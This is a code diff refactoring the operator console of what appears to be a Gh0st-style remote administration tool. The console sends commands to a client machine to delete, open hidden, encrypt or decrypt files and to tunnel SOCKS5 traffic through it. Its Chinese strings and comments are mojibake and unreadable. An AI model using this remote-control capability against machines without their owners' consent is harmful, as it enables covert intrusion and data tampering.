LPBYTE lpBuffer = new BYTE[nPacketSize];
|
LPBYTE lpBuffer = new BYTE[nPacketSize];
|
||||||
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
lpBuffer[0] = COMMAND_CREATE_FOLDER;
|
||||||
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1792,7 +1792,7 @@ void CFileManagerDlg::OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR));
|
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR));
|
||||||
memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR),
|
memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR),
|
||||||
strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR));
|
strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
*pResult = 1;
|
*pResult = 1;
|
||||||
@@ -1802,7 +1802,7 @@ void CFileManagerDlg::OnDelete()
|
|||||||
{
|
{
|
||||||
BYTE bBuff;
|
BYTE bBuff;
|
||||||
bBuff = COMMAND_FILE_NO_ENFORCE;
|
bBuff = COMMAND_FILE_NO_ENFORCE;
|
||||||
m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff));
|
m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
|
||||||
OnRemoteDelete();
|
OnRemoteDelete();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1810,7 +1810,7 @@ void CFileManagerDlg::OnDeleteEnforce()
|
|||||||
{
|
{
|
||||||
BYTE bBuff;
|
BYTE bBuff;
|
||||||
bBuff = COMMAND_FILE_ENFOCE;
|
bBuff = COMMAND_FILE_ENFOCE;
|
||||||
m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff));
|
m_iocpServer->Send2Client(m_ContextObject, &bBuff, sizeof(bBuff));
|
||||||
OnRemoteDelete();
|
OnRemoteDelete();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1846,7 +1846,7 @@ void CFileManagerDlg::OnRemoteOpenShow()
|
|||||||
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
|
||||||
lpPacket[1] = m_bUseAdmin;
|
lpPacket[1] = m_bUseAdmin;
|
||||||
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
|
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1864,7 +1864,7 @@ void CFileManagerDlg::OnRemoteOpenHide()
|
|||||||
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
|
||||||
lpPacket[1] = m_bUseAdmin;
|
lpPacket[1] = m_bUseAdmin;
|
||||||
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
|
memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1881,7 +1881,7 @@ void CFileManagerDlg::OnRemoteInfo()
|
|||||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||||
lpPacket[0] = COMMAND_FILE_INFO;
|
lpPacket[0] = COMMAND_FILE_INFO;
|
||||||
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1900,7 +1900,7 @@ void CFileManagerDlg::OnRemoteEncryption()
|
|||||||
lpPacket[0] = COMMAND_FILE_Encryption;
|
lpPacket[0] = COMMAND_FILE_Encryption;
|
||||||
|
|
||||||
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1919,7 +1919,7 @@ void CFileManagerDlg::OnRemoteDecrypt()
|
|||||||
lpPacket[0] = COMMAND_FILE_Decrypt;
|
lpPacket[0] = COMMAND_FILE_Decrypt;
|
||||||
|
|
||||||
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1940,7 +1940,7 @@ void CFileManagerDlg::OnRemoteCopyFile()
|
|||||||
lpPacket[0] = COMMAND_FILE_CopyFile;
|
lpPacket[0] = COMMAND_FILE_CopyFile;
|
||||||
|
|
||||||
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
ShowMessage(_T("<EFBFBD><EFBFBD>ճ<EFBFBD><EFBFBD>"));
|
ShowMessage(_T("<EFBFBD><EFBFBD>ճ<EFBFBD><EFBFBD>"));
|
||||||
}
|
}
|
||||||
@@ -1951,7 +1951,7 @@ void CFileManagerDlg::OnRemotePasteFile()
|
|||||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||||
lpPacket[0] = COMMAND_FILE_PasteFile;
|
lpPacket[0] = COMMAND_FILE_PasteFile;
|
||||||
memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1975,7 +1975,7 @@ void CFileManagerDlg::OnRemotezip()
|
|||||||
lpPacket[0] = COMMAND_FILE_zip;
|
lpPacket[0] = COMMAND_FILE_zip;
|
||||||
|
|
||||||
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
|
|
||||||
ShowMessage(_T("<EFBFBD><EFBFBD>ʼѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>رմ<EFBFBD><EFBFBD>ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
ShowMessage(_T("<EFBFBD><EFBFBD>ʼѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>رմ<EFBFBD><EFBFBD>ڣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"));
|
||||||
@@ -1984,7 +1984,7 @@ void CFileManagerDlg::OnRemotezip()
|
|||||||
void CFileManagerDlg::OnRemotezipstop()
|
void CFileManagerDlg::OnRemotezipstop()
|
||||||
{
|
{
|
||||||
BYTE lpPacket = COMMAND_FILE_zip_stop;
|
BYTE lpPacket = COMMAND_FILE_zip_stop;
|
||||||
m_iocpServer->Send(m_ContextObject, &lpPacket, 1);
|
m_iocpServer->Send2Client(m_ContextObject, &lpPacket, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
||||||
@@ -2033,7 +2033,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1];
|
BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1];
|
||||||
lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST;
|
lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST;
|
||||||
memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH));
|
memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH));
|
||||||
m_iocpServer->Send(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
|
m_iocpServer->Send2Client(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1);
|
||||||
SAFE_DELETE_AR(lpbuffer);
|
SAFE_DELETE_AR(lpbuffer);
|
||||||
SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE);
|
SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE);
|
||||||
}
|
}
|
||||||
@@ -2308,7 +2308,7 @@ void CFileManagerDlg::OnCompress()
|
|||||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||||
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
|
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
|
||||||
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2335,7 +2335,7 @@ void CFileManagerDlg::OnUncompress()
|
|||||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||||||
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
|
lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM;
|
||||||
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
|
memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1);
|
||||||
m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength);
|
m_iocpServer->Send2Client(m_ContextObject, lpPacket, nPacketLength);
|
||||||
LocalFree(lpPacket);
|
LocalFree(lpPacket);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -2368,7 +2368,7 @@ void CFileManagerDlg::OnBtnSearch()
|
|||||||
LPBYTE lpBuffer = new BYTE[nPacketSize];
|
LPBYTE lpBuffer = new BYTE[nPacketSize];
|
||||||
lpBuffer[0] = COMMAND_SEARCH_FILE;
|
lpBuffer[0] = COMMAND_SEARCH_FILE;
|
||||||
memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket));
|
memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket));
|
||||||
m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize);
|
m_iocpServer->Send2Client(m_ContextObject, lpBuffer, nPacketSize);
|
||||||
SAFE_DELETE_AR(lpBuffer);
|
SAFE_DELETE_AR(lpBuffer);
|
||||||
// <20><><EFBFBD>ð<EFBFBD>ť״̬
|
// <20><><EFBFBD>ð<EFBFBD>ť״̬
|
||||||
m_BtnSearch.SetWindowText(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>..."));
|
m_BtnSearch.SetWindowText(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>..."));
|
||||||
@@ -2441,7 +2441,7 @@ void CFileManagerDlg::OnBnClickedSearchStop()
|
|||||||
GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE);
|
GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE);
|
||||||
// TODO: Add your command handler code here
|
// TODO: Add your command handler code here
|
||||||
BYTE bToken = COMMAND_FILES_SEARCH_STOP;
|
BYTE bToken = COMMAND_FILES_SEARCH_STOP;
|
||||||
m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|||||||
@@ -92,7 +92,7 @@ namespace file {
|
|||||||
void fixNetHood(BYTE* pbuffer, int buffersize);//Զ<>̹<EFBFBD><CCB9><EFBFBD>Ŀ¼
|
void fixNetHood(BYTE* pbuffer, int buffersize);//Զ<>̹<EFBFBD><CCB9><EFBFBD>Ŀ¼
|
||||||
bool id_search_result;
|
bool id_search_result;
|
||||||
CStatusBar m_wndStatusBar;
|
CStatusBar m_wndStatusBar;
|
||||||
CFileManagerDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||||
~CFileManagerDlg() {
|
~CFileManagerDlg() {
|
||||||
m_bIsClosed = TRUE;
|
m_bIsClosed = TRUE;
|
||||||
SAFE_DELETE(m_ProgressCtrl);
|
SAFE_DELETE(m_ProgressCtrl);
|
||||||
|
|||||||
@@ -14,14 +14,10 @@
|
|||||||
|
|
||||||
#define IDM_PROXY_CHROME 8000
|
#define IDM_PROXY_CHROME 8000
|
||||||
|
|
||||||
CProxyMapDlg::CProxyMapDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
CProxyMapDlg::CProxyMapDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||||
: CDialog(CProxyMapDlg::IDD, pParent)
|
: CDialogBase(CProxyMapDlg::IDD, pParent, pIOCPServer, pContext, IDI_Proxifier)
|
||||||
{
|
{
|
||||||
m_iocpServer = pIOCPServer;
|
|
||||||
m_ContextObject = pContext;
|
|
||||||
m_iocpLocal = NULL;
|
m_iocpLocal = NULL;
|
||||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_Proxifier));
|
|
||||||
m_bIsClose = false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void CProxyMapDlg::DoDataExchange(CDataExchange* pDX)
|
void CProxyMapDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
@@ -87,24 +83,24 @@ BOOL CProxyMapDlg::OnInitDialog()
|
|||||||
|
|
||||||
void CProxyMapDlg::OnCancel()
|
void CProxyMapDlg::OnCancel()
|
||||||
{
|
{
|
||||||
if (m_bIsClose) return;
|
m_bIsClosed = true;
|
||||||
|
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (IsProcessing()) {
|
||||||
|
ShowWindow(SW_HIDE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
m_iocpLocal->Shutdown();
|
||||||
|
SAFE_DELETE(m_iocpLocal);
|
||||||
|
|
||||||
m_bIsClose = true;
|
CancelIO();
|
||||||
m_iocpServer->Disconnect(m_ContextObject);
|
|
||||||
DestroyIcon(m_hIcon);
|
DialogBase::OnClose();
|
||||||
m_iocpLocal->Shutdown();
|
|
||||||
SAFE_DELETE(m_iocpLocal);
|
|
||||||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
|
||||||
closesocket(m_ContextObject->sClientSocket);
|
|
||||||
Sleep(50);
|
|
||||||
if (IsWindow(m_hWnd))
|
|
||||||
DestroyWindow();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT nCode)
|
void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT nCode)
|
||||||
{
|
{
|
||||||
CProxyMapDlg* g_pProxyMap = (CProxyMapDlg*)user;
|
CProxyMapDlg* g_pProxyMap = (CProxyMapDlg*)user;
|
||||||
if (g_pProxyMap->m_bIsClose) return;
|
if (g_pProxyMap->m_bIsClosed) return;
|
||||||
|
|
||||||
DWORD index = pContext->ID;
|
DWORD index = pContext->ID;
|
||||||
TCHAR szMsg[200] = { 0 };
|
TCHAR szMsg[200] = { 0 };
|
||||||
@@ -118,7 +114,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
|||||||
BYTE lpData[5] = "";
|
BYTE lpData[5] = "";
|
||||||
lpData[0] = COMMAND_PROXY_CLOSE;
|
lpData[0] = COMMAND_PROXY_CLOSE;
|
||||||
memcpy(lpData + 1, &index, sizeof(DWORD));
|
memcpy(lpData + 1, &index, sizeof(DWORD));
|
||||||
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, lpData, 5);
|
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, lpData, 5);
|
||||||
}
|
}
|
||||||
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӶϿ<D3B6>\r\n"), index);
|
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӶϿ<D3B6>\r\n"), index);
|
||||||
break;
|
break;
|
||||||
@@ -126,7 +122,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
|||||||
break;
|
break;
|
||||||
case NC_RECEIVE:
|
case NC_RECEIVE:
|
||||||
if (pContext->m_bProxyConnected == 2) {
|
if (pContext->m_bProxyConnected == 2) {
|
||||||
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
|
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
|
||||||
pContext->InDeCompressedBuffer.GetBufferLength());
|
pContext->InDeCompressedBuffer.GetBufferLength());
|
||||||
wsprintf(szMsg, _T("%d <==<3D><> %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
|
wsprintf(szMsg, _T("%d <==<3D><> %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
|
||||||
} else if (pContext->m_bProxyConnected == 0) {
|
} else if (pContext->m_bProxyConnected == 0) {
|
||||||
@@ -143,7 +139,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
|||||||
buf[0] = COMMAND_PROXY_CONNECT; // 1<><31><EFBFBD>ֽ<EFBFBD> ip v4 <20><><EFBFBD><EFBFBD>
|
buf[0] = COMMAND_PROXY_CONNECT; // 1<><31><EFBFBD>ֽ<EFBFBD> ip v4 <20><><EFBFBD><EFBFBD>
|
||||||
memcpy(buf + 1, &index, 4); // <20>ĸ<EFBFBD><C4B8>ֽ<EFBFBD> <20><EFBFBD><D7BD>ֵı<D6B5><C4B1><EFBFBD>
|
memcpy(buf + 1, &index, 4); // <20>ĸ<EFBFBD><C4B8>ֽ<EFBFBD> <20><EFBFBD><D7BD>ֵı<D6B5><C4B1><EFBFBD>
|
||||||
memcpy(buf + 5, lpData + 4, 6); // 4<>ֽ<EFBFBD>ip 2<>ֽڶ˿<DAB6>
|
memcpy(buf + 5, lpData + 4, 6); // 4<>ֽ<EFBFBD>ip 2<>ֽڶ˿<DAB6>
|
||||||
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
|
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
|
||||||
in_addr inaddr = {};
|
in_addr inaddr = {};
|
||||||
inaddr.s_addr = *(DWORD*)(buf + 5);
|
inaddr.s_addr = *(DWORD*)(buf + 5);
|
||||||
char szmsg1[MAX_PATH];
|
char szmsg1[MAX_PATH];
|
||||||
@@ -156,7 +152,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
|
|||||||
memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN);
|
memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN);
|
||||||
memcpy(HostName + 1, &index, 4);
|
memcpy(HostName + 1, &index, 4);
|
||||||
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
|
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
|
||||||
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
|
g_pProxyMap->m_iocpServer->Send2Client(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
|
||||||
SAFE_DELETE_ARRAY(HostName);
|
SAFE_DELETE_ARRAY(HostName);
|
||||||
wsprintf(szMsg, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> %d \r\n"), index);
|
wsprintf(szMsg, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> %d \r\n"), index);
|
||||||
} else if (lpData[3] == 4) { //ipv6
|
} else if (lpData[3] == 4) { //ipv6
|
||||||
@@ -193,7 +189,7 @@ void CProxyMapDlg::OnReceiveComplete()
|
|||||||
if (m_iocpLocal == NULL)
|
if (m_iocpLocal == NULL)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClose)
|
if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClosed)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
|
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
|
||||||
@@ -255,14 +251,14 @@ void CProxyMapDlg::OnReceiveComplete()
|
|||||||
|
|
||||||
void CProxyMapDlg::AddLog(TCHAR* lpText)
|
void CProxyMapDlg::AddLog(TCHAR* lpText)
|
||||||
{
|
{
|
||||||
if (m_bIsClose == TRUE) return;
|
if (m_bIsClosed == TRUE) return;
|
||||||
m_Edit.SetSel(-1, -1);
|
m_Edit.SetSel(-1, -1);
|
||||||
m_Edit.ReplaceSel(lpText);
|
m_Edit.ReplaceSel(lpText);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CProxyMapDlg::AddLog_other(TCHAR* lpText)
|
void CProxyMapDlg::AddLog_other(TCHAR* lpText)
|
||||||
{
|
{
|
||||||
if (m_bIsClose == TRUE) return;
|
if (m_bIsClosed == TRUE) return;
|
||||||
m_EditOther.SetSel(-1, -1);
|
m_EditOther.SetSel(-1, -1);
|
||||||
m_EditOther.ReplaceSel(lpText);
|
m_EditOther.ReplaceSel(lpText);
|
||||||
}
|
}
|
||||||
@@ -285,15 +281,6 @@ void CProxyMapDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
m_Edit.MoveWindow(&rectEdit);
|
m_Edit.MoveWindow(&rectEdit);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CProxyMapDlg::PostNcDestroy()
|
|
||||||
{
|
|
||||||
if (!m_bIsClose)
|
|
||||||
OnCancel();
|
|
||||||
CDialog::PostNcDestroy();
|
|
||||||
delete this;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
void CProxyMapDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
void CProxyMapDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||||
{
|
{
|
||||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||||
|
|||||||
@@ -31,10 +31,10 @@ typedef struct {
|
|||||||
} Socks5Info;
|
} Socks5Info;
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: curl --socks5 127.0.0.1:5543 https://www.example.com
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: curl --socks5 127.0.0.1:5543 https://www.example.com
|
||||||
class CProxyMapDlg : public CDialog
|
class CProxyMapDlg : public DialogBase
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
CProxyMapDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
CProxyMapDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||||
|
|
||||||
enum { IDD = IDD_PROXY };
|
enum { IDD = IDD_PROXY };
|
||||||
|
|
||||||
@@ -45,7 +45,6 @@ public:
|
|||||||
void AddLog(TCHAR* lpText);
|
void AddLog(TCHAR* lpText);
|
||||||
void AddLog_other(TCHAR* lpText);
|
void AddLog_other(TCHAR* lpText);
|
||||||
virtual void DoDataExchange(CDataExchange* pDX);
|
virtual void DoDataExchange(CDataExchange* pDX);
|
||||||
virtual void PostNcDestroy();
|
|
||||||
virtual void OnCancel();
|
virtual void OnCancel();
|
||||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||||
virtual BOOL OnInitDialog();
|
virtual BOOL OnInitDialog();
|
||||||
@@ -53,11 +52,7 @@ public:
|
|||||||
DECLARE_MESSAGE_MAP()
|
DECLARE_MESSAGE_MAP()
|
||||||
|
|
||||||
private:
|
private:
|
||||||
ClientContext* m_ContextObject;
|
|
||||||
ISocketBase* m_iocpServer;
|
|
||||||
CProxyConnectServer* m_iocpLocal;
|
CProxyConnectServer* m_iocpLocal;
|
||||||
HICON m_hIcon;
|
|
||||||
bool m_bIsClose;
|
|
||||||
CEdit m_Edit;
|
CEdit m_Edit;
|
||||||
USHORT m_nPort;
|
USHORT m_nPort;
|
||||||
CEdit m_EditOther;
|
CEdit m_EditOther;
|
||||||
|
|||||||
@@ -23,7 +23,7 @@ static UINT indicators[] = {
|
|||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
CMachineDlg::CMachineDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
|
CMachineDlg::CMachineDlg(CWnd* pParent, Server* pIOCPServer, ClientContext* pContext)
|
||||||
: DialogBase(CMachineDlg::IDD, pParent, pIOCPServer, pContext, IDI_MACHINE)
|
: DialogBase(CMachineDlg::IDD, pParent, pIOCPServer, pContext, IDI_MACHINE)
|
||||||
{
|
{
|
||||||
m_pMainWnd = (CMy2015RemoteDlg*)pParent;
|
m_pMainWnd = (CMy2015RemoteDlg*)pParent;
|
||||||
@@ -163,7 +163,7 @@ BOOL CMachineDlg::OnInitDialog()
|
|||||||
|
|
||||||
AdjustList();
|
AdjustList();
|
||||||
